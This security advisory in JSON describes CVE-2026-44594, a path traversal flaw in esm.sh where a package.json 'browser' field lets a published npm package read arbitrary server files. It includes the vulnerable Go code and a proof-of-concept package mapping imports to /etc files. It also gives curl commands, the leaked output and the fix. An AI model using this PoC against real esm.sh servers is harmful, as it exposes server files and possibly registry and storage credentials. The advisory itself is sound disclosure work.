CVE-2026-44594: Github.com/esm dev/esm.sh Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rg65-45m7-hq57",
  "modified" : "2026-06-09T02:00:04Z",
  "published" : "2026-05-12T22:22:42Z",
  "aliases" : [ "CVE-2026-44594" ],
  "summary" : "esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files",
  "details" : "### Summary\n\nA Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\n### Details\n\nThe vulnerable code is in the `OnResolve` callback of the esbuild plugin:\n\nhttps://github.com/esm-dev/esm.sh/blob/main/server/build.go\n\nThe plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.\n\n```go\n// Sandbox check passes for the original \"./d1.txt\" path\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"could not resolve module %s\", specifier)\n}\n\n// ... later, browser field remaps to attacker-controlled path:\nif len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {\n\tif path, ok := pkgJson.Browser[modulePath]; ok {\n\t\tif path == \"\" {\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:      args.Path,\n\t\t\t\tNamespace: \"browser-exclude\",\n\t\t\t}, nil\n\t\t}\n\t\tif !isRelPathSpecifier(path) {\n\t\t\texternalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)\n\t\t\tif err != nil {\n\t\t\t\treturn esbuild.OnResolveResult{}, err\n\t\t\t}\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:        externalPath,\n\t\t\t\tSideEffects: sideEffects,\n\t\t\t\tExternal:    true,\n\t\t\t}, nil\n\t\t}\n\t\tmodulePath = path\n\t}\n}\n\n\n// path.Join collapses \"../\" sequences - escapes the package directory\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\n// No second sandbox check\n```\n\nFile contents appear in both the bundled JS output and the source map `sourcesContent` array.\n\nReadable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).\n\nNon-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.\n\n### PoC\n\nThe test package is published at https://www.npmjs.com/package/chess-sec-utils1\n\n**package.json:**\n```json\n{\n  \"name\": \"chess-sec-utils1\",\n  \"version\": \"1.0.6\",\n  \"main\": \"index.js\",\n  \"type\": \"module\",\n  \"browser\": {\n    \"./d1.txt\": \"../../../../../../../../etc/hostname\",\n    \"./d2.json\": \"../../../../../../../../etc/os-release\",\n    \"./d3.json\": \"../../../../../../../../etc/environment\"\n  }\n}\n```\n\n**index.js:**\n```js\nimport d1 from \"./d1.txt\"\nimport d2 from \"./d2.json\"\nimport d3 from \"./d3.json\"\nexport default { d1, d2, d3 }\n```\n\n```bash\nnpm publish\ncurl \"https://<esm.sh-instance>/chess-sec-utils1@1.0.6\"\ncurl \"https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map\"\n```\n\nServer file contents in source map response:\n```json\n{\n  \"sourcesContent\": [\n    \"ideapad\\n\",\n    \"PRETTY_NAME=\\\"Ubuntu 22.04.5 LTS\\\"\\nNAME=\\\"Ubuntu\\\"\\nVERSION_ID=\\\"22.04\\\"\\nVERSION=\\\"22.04.5 LTS (Jammy Jellyfish)\\\"\\nVERSION_CODENAME=jammy\\nID=ubuntu\\nID_LIKE=debian\\nHOME_URL=\\\"https://www.ubuntu.com/\\\"\\nSUPPORT_URL=\\\"https://help.ubuntu.com/\\\"\\nBUG_REPORT_URL=\\\"https://bugs.launchpad.net/ubuntu/\\\"\\nPRIVACY_POLICY_URL=\\\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\\\"\\nUBUNTU_CODENAME=jammy\\n\",\n    \"PATH=\\\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\\\"\\n\",\n    \"import d1 from \\\"./d1.txt\\\"...\"\n  ]\n}\n```\n\n<img width=\"1720\" height=\"796\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952\" />\n\n### Impact\n\nAn attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.\n\n### Fix\n\nAdd a path validation check after the `browser` field remapping:\n\n```go\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"path traversal blocked\")\n}\n```\n\n### Credit\nSvyatoslav Berestovsky of Metascan",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250616164159-0593516c4cfa"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44594"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/releases/tag/v137"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-12T22:22:42Z",
    "nvd_published_at" : "2026-05-28T16:16:24Z"
  }
}